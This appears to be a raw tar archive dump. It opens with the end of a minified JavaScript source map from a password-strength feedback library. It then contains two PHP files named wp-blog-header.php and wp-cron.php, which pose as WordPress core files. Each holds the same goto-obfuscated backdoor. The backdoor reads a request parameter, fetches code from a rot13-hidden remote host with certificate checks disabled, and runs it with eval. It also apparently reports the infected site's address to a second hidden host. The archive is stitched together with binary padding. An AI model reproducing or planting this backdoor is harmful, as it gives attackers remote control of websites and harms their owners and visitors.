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"}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������wp-blog-header.php����������������������������������������������������������������������������������0000444�����������������00000005366�15172447206�0010072 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������wp-cron.php�����������������������������������������������������������������������������������������0000666�����������������00000005366�15172447206�0006670 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������